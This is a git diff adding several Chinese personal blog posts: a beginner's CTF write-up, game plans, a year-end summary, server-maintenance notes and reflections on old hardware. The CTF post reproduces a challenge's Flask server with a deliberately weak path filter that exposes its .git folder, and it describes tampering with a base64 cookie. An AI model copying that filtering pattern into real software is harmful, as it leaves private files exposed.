另外也希望自己不会被一些噪音搞到心烦。
|
62
_posts/2019-12-16-ctf.md
Normal file
62
_posts/2019-12-16-ctf.md
Normal file
@ -0,0 +1,62 @@
|
||||
---
|
||||
layout: post
|
||||
title: CTF初体验
|
||||
tags: [CTF, Python]
|
||||
---
|
||||
|
||||
我好菜啊<!--more-->
|
||||
|
||||
# 开端
|
||||
前几天,有一个同学邀请我去打个线上CTF,我大概看了下时间,是在周末,于是我就答应了。
|
||||
以前我倒是对CTF也有些了解,曾经也试着在网上找到一些题,不过那些题的评论区总是有一堆人透答案,体验极差,所以其实我也没真正做过CTF的题。
|
||||
不过我曾经也攻击过一些网站,也算有点经验吧,所以觉得问题应该不大。
|
||||
|
||||
# 答题
|
||||
到了周末,我还是像往常一样睡到中午,不过没关系,这个比赛持续2天,所以无所谓。
|
||||
等到我想答题的时候题目也基本上全部都出来了,我打开网站一看,题的类型挺多的,有涉及密码学、二进制、文件组成、溢出之类乱七八糟的东西。当然我全都不会 ~~(于是就凉了)~~。
|
||||
虽然大多数都不会,不过至少我还是学过一些HTTP协议之类的东西,所以觉得我至少要解出一道Web题吧。
|
||||
首先吸引我的是一个叫做Cookie的题,我想既然它叫Cookie,那么大概就是改改cookie就能解出来吧。题目大概是我有$50,有三种饼干,Flag饼干最贵,要$100,因为买不起,所以得不到Flag。那么解法应该就是想办法改我有的钱的,然后再去买Flag饼干就OK了吧。以这个思路,我看了下cookie,那是一个被base64编码后的json,解码后发现,里面有一个叫做money的key,这下我想那不就解出来了嘛,我修改了money的value,编码后提交,钱的数量不出意料的变了,然后我就去买Flag饼干,但是不知道为什么,改完以后所有饼干都买不了了……所以这道题最后没有解出来…… ~~(太菜了)~~
|
||||
之后我换了一道题,那道题叫做Swedish State Archive,打开后发现是一个正在维护的网站,查看源代码后发现了服务器的源码:
|
||||
```python
|
||||
from flask import Flask, request, escape
|
||||
import os
|
||||
|
||||
app = Flask("")
|
||||
|
||||
@app.route("/")
|
||||
def index():
|
||||
return get("index.html")
|
||||
|
||||
@app.route("/<path:path>")
|
||||
def get(path):
|
||||
print("Getting", path)
|
||||
if ".." in path:
|
||||
return ""
|
||||
|
||||
if "logs" in path or ".gti" in path:
|
||||
return "Please do not access the .git-folder"
|
||||
|
||||
if "index" in path:
|
||||
path = "index.html"
|
||||
|
||||
if os.path.isfile(path):
|
||||
return open(path, "rb").read()
|
||||
|
||||
if os.path.isdir(path):
|
||||
return get("folder.html")
|
||||
|
||||
return "404 not found"
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
app.run("0.0.0.0", "8000")
|
||||
```
|
||||
虽然我Python学的不多,但是至少我看到了`.gti`,看来是通过git获得Flag的题,但是它屏蔽了文件夹和index和logs两个路径的关键词……这该怎么做……后来我去网上搜了下解git类型的ctf的题,大多数人都用了一个叫做Githack的工具,我大概看了一下,这是个Python的脚本,但是它依赖于index文件,所以不能用。正当我要放弃之时,我发现了一个叫做[Git Extract](https://github.com/gakki429/Git_Extract)的工具,我试了一下,直接Flag就出来了😂,我当场就赏它了一个star……看来还是工具好用……
|
||||
其他的题受限于水平原因,实在是做不出来……于是本次的CTF就这么结束了……
|
||||
|
||||
# 结语
|
||||
CTF还是挺有意思的,看着我也想举办一个。不过除了CTF外还有另外一个更加大众化的东西,叫做网站迷宫,大概就是通过找线索,然后一层一层的往深处走的游戏,有点像解谜爬塔的游戏。
|
||||
我想了想,这种游戏也可以做一个纯前端版,每个下一题都被AES加密,所以只有上一题解出来得到密码才能得到下一题,这听起来有点像CTF呀,不过本来好多CTF的题也是一个文件,Web的题不算多。
|
||||
不过我自己连题都做不出来,还想什么出题😂……还是多研究研究吧。
|
||||
另外如果我以后想去试试挑战CTF的话,就可以去[CTFtime](https://ctftime.org/)上看看了。
|
||||
|
28
_posts/2019-12-17-game.md
Normal file
28
_posts/2019-12-17-game.md
Normal file
@ -0,0 +1,28 @@
|
||||
---
|
||||
layout: post
|
||||
title: New Game!
|
||||
tags: [Game, 计划]
|
||||
---
|
||||
|
||||
New Game?New 鸽子!<!--more-->
|
||||
|
||||
# 新的想法
|
||||
昨天,我在[上篇博客的结尾](/2019/12/16/ctf.html#结语)提到了我想要做的不需要后端的解谜游戏。在那之后我又想了想,我在高中的时候也想做一个游戏,因为当时玩了DDLC,心里十分感慨,很想自己做一个视觉小说,于是一冲动,在电脑上下了Ren'Py SDK,然后为了方便,搞了[Ren'Py中文文档的镜像站](/RenPy_Docs_CHS/RenPy/)
|
||||
但是因为种种原因 ~~(懒、人类的本质——咕咕咕)~~,比如不会写故事啦,画画不好啦,以及音乐也不会做之类的。不过其实这些都不算很难的事情,因为我们现在不要求质量,只需要做出来就好了,有了第一个,第二个也不会远了吧。
|
||||
事实上我为了做一个视觉小说也做了不少准备,比如收集各种各样的立绘,BG,SE,以及看了不少视觉小说的OP,希望作为自己的灵感。不过后来虽然游戏没做出来,但是收集的灵感还是很有用的,至少我在做PPT的ED的时候也不至于搞一个黑色的背景,然后只有STAFF在上面滚动了。
|
||||
|
||||
# 新的计划
|
||||
既然之前说过我想做解谜游戏,又想做视觉小说,那么我们不如各退一步,做一个解密动态小说!
|
||||
虽然说之前[重构的计划](/2019/07/01/mabbs.html)和[制作加密邮件系统的计划](/2019/07/02/encmail.html)现在都在咕,但是我决定了,我要把我的计划推成五年计划 ~~(比百年计划好多了23333)~~,现在先找灵感,到时候就算做不完也不至于没得做。毕竟作为人其实不担心忙的问题,毕竟人现在的做事效率还是很低的,所以闲还是很容易的。为了避免这种事情,多来点计划也没关系吧。
|
||||
这个小说的内容我暂时还没想好,不过机制我已经想好了,我打算把它做成套娃,用AES作为它的壳。也就是我需要先想好故事,然后第一层包含故事,线索和下一层的密文,而下一层同样含有故事线索和密文,这样也可以避免一个问题,那就是拆包(查看源代码)获得剧情。
|
||||
很多游戏现在也有这样的问题,因为大多数情况玩游戏其实就是为了看剧情,但是游戏很多时候会通过游戏方式阻挡玩家看到剧情,所以要想了解整个剧情,很多玩家会选择拆包。但是对于一些游戏拆包就失去了它的游戏性,甚至会失去这个剧情想展现的效果。就比如DDLC,如果没有走剧情直接拆包,就感受不到Meta-Game的那种特别的感觉。
|
||||
所以我使用AES加密可以大幅减少因为拆包而影响可玩性。不过由于技术问题,我打算使用[博客里搞过的的这套加密方式](/2019/06/11/encrypt.html)作为阻止玩家得到接下来剧情的方式。不过这个加密好像用的是不安全的ECB模式,而且现在马上就要进入后量子密码时代了,所以可能对于某些大佬来说这点阻挡根本算不了什么吧……不过没关系,这本来就是为了阻挡大多数人而已。
|
||||
|
||||
# 游戏模式
|
||||
除了像CTF那样的从文件/程序以及从各种解谜游戏中获得密码外,我打算再搞一些有运气含量的,也就是我只会提供密码在一定范围,然后按照一定的机率获得正确密码。毕竟欧气也是能力的一部分嘛,当然有技术的人也可以通过遍历的方式。总之就是得到下一层的故事比较有难度就可以了。
|
||||
关于剧情走向嘛……我是挺想搞多分支的,不过那样工作量也大了不少……算了,到时候看剧情吧。
|
||||
另外题目还要和剧情相配……真的是好麻烦……
|
||||
|
||||
# 结语
|
||||
我自己连那些CTF的题都解不出来,还要自己出题?想想大多数系统其实也是易守难攻嘛,出题应该也不会太难吧……
|
||||
emmmm……回头还是多了解了解CTF中的那些知识吧,不然自己都解不出来自己的题那还怎么设密码😂
|
46
_posts/2019-12-31-summary.md
Normal file
46
_posts/2019-12-31-summary.md
Normal file
@ -0,0 +1,46 @@
|
||||
---
|
||||
layout: post
|
||||
title: 年终总结
|
||||
tags: [总结]
|
||||
---
|
||||
|
||||
Summary?没错,这里的位置就是Summary😂<!--more-->
|
||||
|
||||
# 在大学的总结
|
||||
我可能以前也想不到我现在居然能坐下来安安稳稳的坐下来在这里写年终总结吧,以前的我肯定会认为我现在早就变成了一堆泥土然后再来一首《Ring of Fortune》作为BGM吧23333。当然有这个想法很正常,这应该也算是必经之路吧……
|
||||
不管怎么说,今年能上到大学也算是不错了,至少可以借鉴以前的经验然后谱写新的篇章嘛,无论如何,变成泥土是谁都不想的事情,毕竟泥土可是不会写新的篇章的23333……
|
||||
## 开学时的事情
|
||||
在大学经过了一个学期,也大概的能感受到现实社会的一些残酷,但是也有些比较有意思的地方。比如说我在刚开学就被当作羊被拔了羊毛,某些人就是乘着新生不熟悉的时候坑我们,这也恰恰证明了生活的不易,无论是我们,还是他们。
|
||||
具体被坑的……比如花了50CNY买了张没钱的公交卡啊,还有办了宣传时29CNY/mo但是实际上是59CNY/mo的宽带之类的。也许我以前可能被坑过,不过这几次坑是真的大坑……
|
||||
在刚开学的军训我表现的不怎么好,我以为这可能会影响别人对我的第一印象,不过事实上嘛……其实也没人记得我,毕竟大家都穿着同样的衣服,尽管军训大家可能不会忘记,但是其中的细节也基本上没人追究了吧。
|
||||
在开学时参加系中比较推荐的协会也算是一个走的不错的一步,首先我通过我的大忽悠忽悠会长给我的面试成绩一个满分,虽然对于同班的人这样也并没有什么意义,不过这样算是对系里的一种广撒网了,可以让一些人认识我。
|
||||
虽然我是挺想出名,不过出名不是我的目的,这只是一个过程,开始的轻微的努力可以让之后少走弯路,这也算是一种可持续发展了吧。
|
||||
另外,关于开学更多的事情,可以在[开学总结](/2019/09/20/start.html)里看到。
|
||||
(P.S.本来这篇文章是打算在昨天写完的,结果晚上熄灯断电,只写到这里,所以只好在最后一天(真正的年终)写完了wwww)
|
||||
## 在学校的生活
|
||||
### 平时的生活
|
||||
在学校平时的生活还可以,除了上课和高中不同,以及在学校可以正大光明的玩手机之类的,平时的心情和高中是差不多的……其实也不应该这么说,毕竟高中基本上所有的时间都是有规划的,但是在大学没有。而且大一的课很少,所以感觉上还是和高中有很大区别的。
|
||||
不过正是因为是这样悠闲的生活,才更容易导致事情积压在一起,因为很多时候都不会记得要干什么,只有到时间了才有那种着急的感觉。所以有些人会说自己很忙,只是因为确实在某一时间会突然很忙,就如同我的高中老师所说,一个作业给365天,那也只会在第364天去写一样,不到时间就没有驱动力啊……
|
||||
在学校,一天通常只有2-3节课,有时候甚至一天只有一节课,所以空闲的时间是很多的。不过大多数情况在这空闲的时间也很难想着去干些什么实事,很多时候都在玩了……明明计划想做很多东西,但是即使一天都闲下来,也不会想着去做他们。不过有的时候做这些东西还是看心情,通常在有那种想要完成它的感觉时就会有驱动力去做它了。
|
||||
### 周末的生活
|
||||
到了周末那更是什么事情也没有,这时候很难会想着做些什么,只会在床上一直睡觉,以至于睡得都要倒时差了,说不定我现在去美国都不会有倒时差的不适了呢23333。
|
||||
当然一直这么睡也不行,起来以后有的时候也会去和同学一起出去转转,一开始我们都想着去旅游景点看看,不过去旅游景点这种事貌似并不是我们喜欢的,只是想着反正是闲的时候,所以去旅游景点吧,但是旅游景点确实没什么意思,而且大多数地方还要门票,本来就没什么意思的事情又增加了门票的门槛,那就更加不愿意去了。
|
||||
所以从我们转完美术馆、博物馆、科技馆以及图书馆之后,我们就开始去像正常人一样去转比较繁华的地方了。
|
||||
像我是在成都上学,所以到周末就会想着去天府广场和春熙路这样的地方,那里确实是很繁华的地方,不过那里的东西并不适合我们这些没多少钱的人去转,比如IFS,那里也就能在里面转一圈,看看一堆从来没见过的品牌,顺便去看看那标志性的在楼上趴着的大熊猫,其他也没什么有意思的地方,所以之后我们只好在学校附近的商场玩了……
|
||||
不过去商场也没什么好玩的地方,一般我们去商场也就是吃个饭或者逛逛超市之类的,再也就没什么可以干的事情,所以大多数情况我还是会在宿舍里一直睡着(lol)
|
||||
## 在学校的学习
|
||||
大一的科目不算多,也不是很难,不过我高中时学习并不怎么样,数学和英语都很烂 ~~(Suck)~~ ,所以大学的数学和英语对我来说也很难。
|
||||
不过其余专业课相比来说就简单很多了,至少我还有一定的计算机基础嘛,虽然之前一直都没学过Python,不过至少编程的基本思想我还是有的,所以相比来说上手还是比较快的。前端中HTML都还是比较简单的,包括JS也是编程范畴的,都不算很难,也就CSS让我比较伤脑筋,虽然总体来说CSS的结构没什么复杂的,但是实际表现的效果是真的很难搞,因为首先我不知道用哪个属性,另外,属性名也不是很好记,而且实际产生的效果也可能和预期的不一样……也就这里相比较麻烦一些。
|
||||
其他公共课……反正都很麻烦吧,像什么体育啦,人文素养啦,还有什么心理健康之类的,都是很麻烦的事情,尤其我的体育极其烂,所以这就更不好搞了……
|
||||
我们的辅导员一直跟我们强调学长会和我们说不挂科的大学是不完美的大学,然后跟我们说这是错的,不要挂科啥的,不过我至今没见到哪个学长会这么说……当然我也确实不希望挂科,首先我不喜欢麻烦的事情,挂了一次后面重修很废时间,而且重修也是要钱的,这真的是很麻烦……所以我在开始的时候就尽可能的多赚平时分数,免得到时候考试又考不过之类的……另外还要多准备几手,比如找找漏洞啊,以及之前的出名也是一些准备……真的是很麻烦啊!
|
||||
## Misc
|
||||
在大学也可以搞点有意思的东西,比如办银行卡(?),除了已经办下来的天依卡外,我还办了一张招行的2233卡,虽然之前被作为电话卡的[22卡](/2019/08/05/blilblil.html)坑了……不过那是运营商的错……招行的福利还是挺多的,比如每天用微信或支付宝转188出来,就可以抽到至少0.5CNY的红包,而且是那种可以直接提现的,比支付宝的红包好多了,另外就是新户的一堆福利,比如送了两条毛巾,一个杯子,还有一堆话费之类的……感觉起来还是不错的。
|
||||
另外就是被支付宝忽悠着试着搞基金,基金这种东西确实很刺激,刚买下来就突然涨了好几块,不过我知道这种东西我玩不起,一周之后我就把钱提了出来,在这期间它涨了不少,但是也跌了不少,所以这么玩下来其实也基本上没赚多少,所以像买基金还有股票还是应该谨慎啊。
|
||||
|
||||
# 2020年的打算
|
||||
我也不打算计划的很远,首先至少把大一的课程全部考过吧,然后另外就是学驾照,我希望能在这个寒假就把科目三考完,不过这还是挺难的,本来科目三就不简单,要记的东西很多,这也是我不擅长的……
|
||||
对于我的5年计划,我又想再加点东西了23333,除了[重构](/2019/07/01/mabbs.html)、[邮件系统](/2019/07/02/encmail.html)和[游戏](/2019/12/17/game.html)的计划外,我的Python老师又给了我两个新的想法,一个是前后端分离的CMS,另外一个是类似于CodeTank的游戏。
|
||||
虽然现在已经有BaaS的服务,搞CMS已经没什么太大的意义了,不过想想搞这么一个东西好像也不是很难,CMS就是一个用户的权限加上文件的管理嘛,所以也就是只要提供一个API,这样我就只用写一些CRUD的东西就OK啦!
|
||||
另外老师想做的游戏貌似是塔防游戏,大概就是提供一堆API可以定义攻击的人和防御的塔,然后插张地图进去,就可以搞一个有Python教学功能的游戏了。之前我觉得CodeTank其实做的挺好的,不知道怎么就凉了……不过这个游戏我觉得应该还是有点意思的,所以可以在毕业之前试着把这个东西做出来。
|
||||
其他嘛……总之还是有机遇就抓吧,还有3年半,这点时间足够我抓住一个机遇了吧。
|
||||
|
44
_posts/2020-01-05-devops.md
Normal file
44
_posts/2020-01-05-devops.md
Normal file
@ -0,0 +1,44 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的运维笔记
|
||||
tags: [运维, 笔记]
|
||||
---
|
||||
|
||||
新年新Bug!<!--more-->
|
||||
|
||||
# 开端
|
||||
前天,我维护的[花火学园](https://www.say-huahuo.com)宕机了,由于在上面安了乱七八糟的各种各样的东西,所以我以为它只是日常卡机,所以我就随手重启了一下。
|
||||
重启完之后,它凉了,不知道为什么,数据库连不上了……于是我开始问另外一个同样可以登录服务器的人,问他有没有动过数据库,结果听起来貌似他好几个月都没登服务器了。于是我慌了,试着手动启动MySQL的服务,然而黑色的界面里冷冰冰的`Job for mysql.service failed`告诉我事情没有那么简单。我按照错误的提示查看了详细信息,然而里面也只是简单的记录了一句`mysql.service: Main process exited, code=exited, status=1/FAILURE`这样通俗而又简单的一句话……这和没说有什么区别……谁都知道它启动失败了……
|
||||
没办法,这时候只能向网站的上一代运维求助了 ~~(向大佬低头)~~ ,经过大佬不知道什么样的操作,终于找到了真正的错误详细信息,看起来好像是数据库中的用户表出了问题。于是大佬重置了用户表,总算是勉强把MySQL服务重新启动了。
|
||||
不过虽然这时候再做一些简单的配置,应该差不多就可以重新上线了,不过考虑了一下,为了让以后不会再出现乱七八糟的事,我打算把网站重新迁移一遍,让系统环境做一个大更新!
|
||||
|
||||
# 重建的过程
|
||||
首先重新租一台服务器吧,之前用的是Ubuntu的服务器,现在一年过去了,也该考虑考虑稳定性的问题了,于是我把系统换成了CentOS。
|
||||
然后为了之后配置起来方便一些,我依然决定使用服务器商已经配置好的LEMP应用,这样建好以后我也不用再考虑安装服务器软件的问题了。
|
||||
在新的服务器部署的过程中,我回到原来的服务器,开始打包网站的数据库和文件,做好向新的服务器转移的准备。
|
||||
没多久,新的服务器就部署好了,于是我直接一个`scp`就把所有的文件传到了新的服务器上。不得不说,服务器直接传输文件的速度是真的快,几个GiB的文件几分钟就传完了。顺便感叹一下,花火学园的数据居然也都好几个GiB了,想当年我接手的时候还不到2GiB。
|
||||
然后就是导入数据库和解压网站文件,以及配置Nginx,完成以后,网站不出所料的可以正常使用了。
|
||||
然后就是设置DNS之类乱七八糟的事,以及Cloudflare的CDN之类的,不过还好之前设置过防火墙白名单的配置,这次也方便了不少。
|
||||
不过这还没完,既然换了新的服务器,而这一年里我对服务器的了解也更深了一些,至少应该做一些优化吧。
|
||||
所以呢,我就先把BBR给装上了,搞太多东西也很麻烦,所以我就直接用了[一键脚本](https://github.com/teddysun/across/blob/master/bbr.sh)。顺便又搞了Swap,毕竟服务器只有1GiB的内存,是应该多搞点内存,虽然可能速度会降低,但还是求稳嘛,而且服务器好像是SSD的硬盘,应该影响不大。
|
||||
到这里,基础的环境部分我就自认为搞好了。
|
||||
|
||||
# 之后的优化
|
||||
到了第二天,我又心血来潮,想再搞点别的东西来优化服务器,首先我的目标是把对内的TCP/IP sockets全部换成UNIX domain sockets,用UNIX domain sockets可以减少不少系统开销,所以我首先对PHP-FPM开刀。
|
||||
其实改起来也很简单,就是把PHP-FPM的配置文件中的`listen`项从IP地址换成文件,然后把Nginx中的`fastcgi_pass`改成带`unix:`前缀的文件就OK了。我改完之后真就以为OK了,但是现实中的`502 Bad Gateway`打破了我的幻想,看来没那么简单……
|
||||
后来我仔细看了一下PHP-FPM文件的注释,发现了一句警告:
|
||||
```
|
||||
; WARNING: If you switch to a unix socket, you have to grant your webserver user
|
||||
; access to that socket by setting listen.acl_users to the webserver user.
|
||||
```
|
||||
哦哦,原来是要设置`listen.acl_users`……然后我把nginx加了进去,重启之后它就好了。
|
||||
之后我打算优化一下MySQL,不过我也不是很清楚MySQL中怎么设置UNIX domain sockets,本来是打算就此放过,不过我听说好像数据库连接中用`127.0.0.1`要比`localhost`要好,因为少了一次解析。我听着感觉好像有那么点道理,然后就去把网站配置的数据库地址给改了。
|
||||
不过后来发现查了一下,发现好像MySQL对`localhost`地址有特殊规定,在MySQL中如果使用`localhost`,那么连接就会走UNIX domain sockets,而使用`127.0.0.1`就会和平常一样走TCP/IP sockets。
|
||||
看完之后我感觉有那么点不爽啊,然后就回去又把我的数据库地址改了回去,不仅如此,我还打算关掉3306端口,后来查了一下,发现在配置文件中加入`skip-networking`就可以了。
|
||||
之后我查看了一下端口,除了443端口和我的SSH的端口外还有一个奇怪的25端口,看着感觉很不爽,查了一下是postfix的端口,然后我一个不爽就把postfix随手卸载掉了。
|
||||
再往后,我看了看我的Nginx日志,发现大小有那么点不对劲,才建的服务器日志已经有400-500MiB了?!虽然花火学园平时流量不算小,但也不至于这么夸张吧?后来我发现我没有过滤静态资源的日志,之后又修改了一下配置文件,心里就舒服多了😁。
|
||||
于是,花火学园的优化就到此结束。
|
||||
|
||||
# 后记
|
||||
我其实应该仔细看看日志的,向莫名其妙出现的BUG说不定是攻击? ~~(被害妄想症23333)~~ 后来我翻了翻日志好像也没这个倾向。
|
||||
另外我确实不应该把正在开发中的项目和主站放在同一个服务器,至少鸡蛋也不应该放到同一个篮子里面嘛……这次我打算做好主站的所有配置,保证它的正常运行。
|
30
_posts/2020-01-21-devops.md
Normal file
30
_posts/2020-01-21-devops.md
Normal file
@ -0,0 +1,30 @@
|
||||
---
|
||||
layout: post
|
||||
title: Mayx的运维笔记 - 应用优化
|
||||
tags: [运维, 笔记, 优化]
|
||||
---
|
||||
|
||||
优化?能不负优化就够好了!<!--more-->
|
||||
|
||||
# 继续优化!
|
||||
接着[上一篇](/2020/01/05/devops.html)的重建,我在上一次做了一些系统环境上的优化,不过论坛中用的Discuz系统也算是一个成熟的应用了 ~~(可惜再成熟也不会自己写代码😂)~~ ,所以这次我打算在Discuz这个应用上做优化。
|
||||
不过毕竟以我的PHP水平还做不到直接在源代码上进行修改,所以我打算使用Discuz本身有的优化功能上进行优化。
|
||||
|
||||
# 关于图片处理库的优化
|
||||
在Discuz的后台面板中,我首先看到的关于性能优化方面的地方就是图片处理库 ~~(尽管它不是最先出现的)~~。看旁边的介绍中说默认的GD库似乎更加消耗系统资源,而相比之下ImageMagick库会好一些,既然它都这么说了,那我肯定是毫不犹豫的选择了ImageMagick库嘛。
|
||||
当然,事实上我也确实是这么做的,然而这个操作貌似发生了一些不可预料的问题。修改了这个选项后我开始逛论坛,但是我发现论坛中不少帖子的图片缩略图显示出现了问题,这时候我感觉不大对劲,首先我确定了一下,Vultr中的LEMP肯定是有装ImageMagick库的,那问题肯定不是我PHP环境的问题,这时候我怀疑是数据库保存的东西可能有问题。不过这个问题就超出了我的解决范围,没办法,我只好又把选项还原回去了😓,反正它这么多年也都过来了,应该影响没多大吧。
|
||||
|
||||
# 关于缓存的优化
|
||||
在之前的花火学园中,我也用了Discuz的缓存,引擎是MemCache。事实上在LEMP默认是不提供MemCache的扩展,反倒是有Redis的扩展。不过我看着Redis那红色的图标,不知道为什么心里总有一种抵触感,后来经过了解,Redis似乎要比MemCache的性能好的多,我也就半信半疑的打算装一下试试。
|
||||
不过事实上我并不怎么相信这种缓存能提升多少性能,只是看着网上说着各种加速到0.005s让人非常的心动。毕竟我的服务器内存并不大,总共也就1个G,另外还加了Swap。如果缓存占用的内存很多,分配来分配去又回到Swap所在的硬盘,那我优化岂不是失去了意义?不过心里总是被别人的博客搞的很羡慕,所以我开始研究怎么样搞Redis缓存。
|
||||
## 历经艰辛的Redis之旅
|
||||
Redis并不是很难安装,一句`yum install redis`就搞定了,主要难的地方还是在于配置。
|
||||
我知道,这时候只要在Discuz的配置文件里加一句`$_config['memory']['redis']['server'] = '127.0.0.1';`然后再以默认的方式启动Redis服务就OK了。但是既然之前我说过,在内部的服务中不应该使用TCP/IP sockets,那我肯定是不能允许它就用默认的配置工作。
|
||||
在Redis中倒是有支持UNIX domain sockets的选项,也支持关闭监听TCP/IP Port。我按照它上面的说明配置了,然后信心满满的在配置文件中设定好了。然而现实告诉我没那么简单,我写了一个测试脚本,它返回了一个`No such file or directory`?我反复确认路径,保证自己没有手残到把路径写错,然后上网搜这个错误,查了半天也没有什么有建设性的结果……我甚至把权限都设置为777,把php-fpm加到了redis的组里,都没有任何用处,另外我也用redis-cli确定了那个文件确实是一个socket文件。这时候我实在是无计可施了,我打算放弃,就这样屈服于TCP/IP sockets,然而我的强迫症和其他博客里中说的10ms不允许我放弃!没办法,我只好仔细思考了。
|
||||
我觉得这个问题应该还是在于权限,只是这个问题过于奇妙,让我无法理解。按照默认的配置,那个socket文件在/tmp/文件夹下,因为PHP在上传文件的时候也用到了这个文件夹,所以我也没怎么怀疑它。但是我的mysql同样也用了UNIX domain sockets,只是文件在/run/下,它也没出问题啊,我想了想,也许把这个socket文件放到/run/文件夹下就可以正常工作了。没想到还真是这个问题,随着我把配置文件中的路径修改了,它也能正常工作了……我真的是无言以对……
|
||||
在这之后,我把redis服务设置成了开机自启动,然后这段优化就到此为止了。
|
||||
|
||||
# 其他的杂事
|
||||
其他也没什么特别多可以优化的地方,后来我查了一下,发现花火学园的请求在那天出现问题的时候请求量突然涨了一倍,也许是这个原因把之前的花火学园逼停了,所以优化还是挺重要的嘛。
|
||||
其他方面就是对于Discuz权限的一些调整,不知道为什么,总有些人要在试贴区水贴,真的是无法理解它们的操作,另外就是连发贴的问题,我感觉估计有人用发帖机搞我们的论坛,所以又提高一点发帖的门槛。
|
||||
其实这次也没什么大的改动,就是这个Redis搞的我真是当场爆炸,看来我还是要提高一下我的姿势水平啊23333。
|
43
_posts/2020-02-02-old.md
Normal file
43
_posts/2020-02-02-old.md
Normal file
@ -0,0 +1,43 @@
|
||||
---
|
||||
layout: post
|
||||
title: 过去与未来的科技变化
|
||||
tags: [科技]
|
||||
---
|
||||
|
||||
回忆了一下,总感觉最近的科技没有什么变化啊……<!--more-->
|
||||
|
||||
# 起因
|
||||
最近由于什么冠状病毒之类的事也不能出门,只能在家里宅着。不过我并不讨厌在家里,网络中有那么多事情可以看,计划有那么多没有实行,我怎么会担心无聊的事呢?那些在网络中天天说在家有一种像狗一样想往外跑的冲动 ~~,那可能他们是真的狗23333~~ 那可能他们日常的生活中也没什么乐趣吧。
|
||||
不过天天抱着手机打游戏还是看视频也不太合适,总想干些什么事,看着家里人翻出了几十年前的相片,突然想起来家里还有一台大约有20年左右历史的电脑,正好在这次找相片的时候有了找这台电脑的思路,结果当然也是找到了。那既然想到找旧电脑,不如把旧手机也一起翻出了看看吧。
|
||||
|
||||
# 试用过去的设备
|
||||
## 那台古老的电脑
|
||||
在翻出来的所有设备中,可能生产日期最早的就是那台古老的电脑了吧,我看了一下版权信息都是2001年的。那台电脑的型号是华硕M1300,处理器是Pentium III,有128MiB的运行内存和20GB的硬盘。这个配置可以说是相当的古老了,它甚至还配备了一个外置的软盘驱动器。
|
||||
这台笔记本的接口也看起来都很古老,除了一个USB1.1的接口和VGA接口在现在还能见到外,其他的接口我几乎都不认识。我只能看到有一堆针口的应该是一个并行接口,另外还有一个看起来有点像电路板上的BTB接口一样的接口,也不知道是干什么的……除此之外我还认识一个1394接口,以及电话线和网线接口,不过现在的我都找不到除了使用USB接口以外的设备了,不用说那些奇奇怪怪的并口,想想连MicroUSB接口都马上就要淘汰了,1394接口哪还能见得到啊。
|
||||
除了接口以外,还有些奇奇怪怪的插槽,比如说PCMCIA插槽,我查了一下,这个东西就相当于给笔记本电脑用的PCI-E接口,在以前都认为是笔记本不可缺少的东西,可惜现在的笔记本电脑都趋向于轻薄化,占掉一大堆空间的PCMCIA插槽自然是没有了活路。
|
||||
另外就是光驱,现在好多电脑上甚至连光驱都没有了……为的就是让电脑更加轻薄……这也算是科技的进步吧……
|
||||
其他像红外线设备之类的我也没用过,所以也就不在这里多说什么了。
|
||||
尽管这台电脑如此之旧,但是一个电子设备的寿命远超常人想象,它本来预装的是Windows98的系统,不过让它运行WindowsXP也是绰绰有余。按下开机键后,电脑就如同一架即将起飞的螺旋桨飞机一般呜呜的响了起来。不过开机速度还不错,我感觉不到15s就启动到桌面了。不愧是WindowsXP,还是一如既往的经典。
|
||||
我在这台电脑上发现了一个看起来是5年前的[日记](/2015/02/23/diary.html),感觉还是挺有纪念意义的,于是就随手上传到了博客上。
|
||||
另外这台电脑上没有无线网卡,上网是个很困难的事情,不过我在网上找了一个tetherxp.inf的配置文件,插上手机,倒是也勉强能用。不过这个WindowsXP上带的IE6也真的是彻底脱离了时代,很多网页都打不开,因为WindowsXP只支持TLS1.0以下的加密协议。也正是这个原因,所以我的博客在兼容性上兼容的是IE8。
|
||||
虽然它看起来脱离了时代,但是毕竟作为那时候的生产力工具,办个公还是没有问题的,上面的Office2003依然可以正常使用。过了将近20年,绝大多数的办公人员依然使用传统的Office办公,包括学校在内,PPT仍然是旧版的.ppt格式,而不是.pptx格式。说不定学校的课件仍然是十几年前的课件,从来没有更新过。不过给学生教的东西嘛,倒是也没什么可以更新的,所以用着有历史意义的课件也是能理解的。
|
||||
## 从直板机到智能机
|
||||
我看了看翻出来的手机,一共有7部,没有一部是旗舰机……应该说还有些是山寨机,不过也很正常,毕竟以前的手机比较贵嘛,而且工资也不高,不像现在,几乎所有人都不会买低端机型,大多数人都使用的是旗舰机。
|
||||
在这堆手机里,我看年代最早的是Nokia 2626,这个手机的充电口不是标准的充电口,不过没关系,我可以直接给手机电池充电。这部手机是2007年上市的,也不知道是什么原因,这部手机没有摄像头。这部手机唯一还比较有意思也就只有自带的类似于3D弹球的游戏。其他方面也没有什么更多有意思的地方了,在搜索引擎上搜索可以找到这个手机的更多信息。
|
||||
除了上面所说的直板机,还有一个翻盖机,叫做步步高I508。即使作为音乐手机它播放音乐的水平还是比不上我现在仅仅是能听个响的手机。不过毕竟不是智能手机,能做到这样已经很不错了。
|
||||
本来还想搞个滑盖机,不过剩下的手机基本上都是智能机了……智能机即使很老也因为使用的是安卓系统,也让我感受不到它的古老。在这堆手机里最老的是海信HS-T830,系统是安卓2.3.5。貌似是充话费送的,当时我用这个手机可是干了不少事,具体的事情可以在[这里](/2019/02/01/history.html#linux-shell%E6%97%B6%E6%9C%9F)看到。
|
||||
其他的手机就是一堆山寨机,什么优思还是什么酷派,全是一堆杂牌子,也就没什么好说的了。
|
||||
## 正在写博客的旧电脑
|
||||
目前我正在写博客的电脑是Dell D430,看起来是2008年上市的。配置还可以,处理器是Core 2 Duo,有2GiB的运行内存和120GB的硬盘,预装的是WindowsXP,勉勉强强能带起来Windows7。
|
||||
虽然Windows7前几天停止了维护,不过既然WindowsXP都能正常使用,Windows7有何不可呢?这台电脑基本上和现在的电脑差不多了,可惜还是没有HDMI的接口。不过自带无线网卡还是挺不错的,至少正常上网没有什么问题,2GiB的内存安一个Google Chrome还是绰绰有余的,所以我现在在这个上面写博客也丝毫没有问题。
|
||||
另外我在这个电脑上发现了一个东西,它让我又一次的感受到了SEO的重要性,它的名字叫做pkmnEMU,貌似是以前下的据说是在暗网上的游戏,我在某搜索引擎搜索这个关键词时结果搜到了一本小说,看起来是一个丝毫不担心版权问题的科幻小说,偏偏我就喜欢这类的,于是很遗憾的我就入坑了😂……SEO……真的是太重要了……
|
||||
|
||||
# 对于未来设备的看法
|
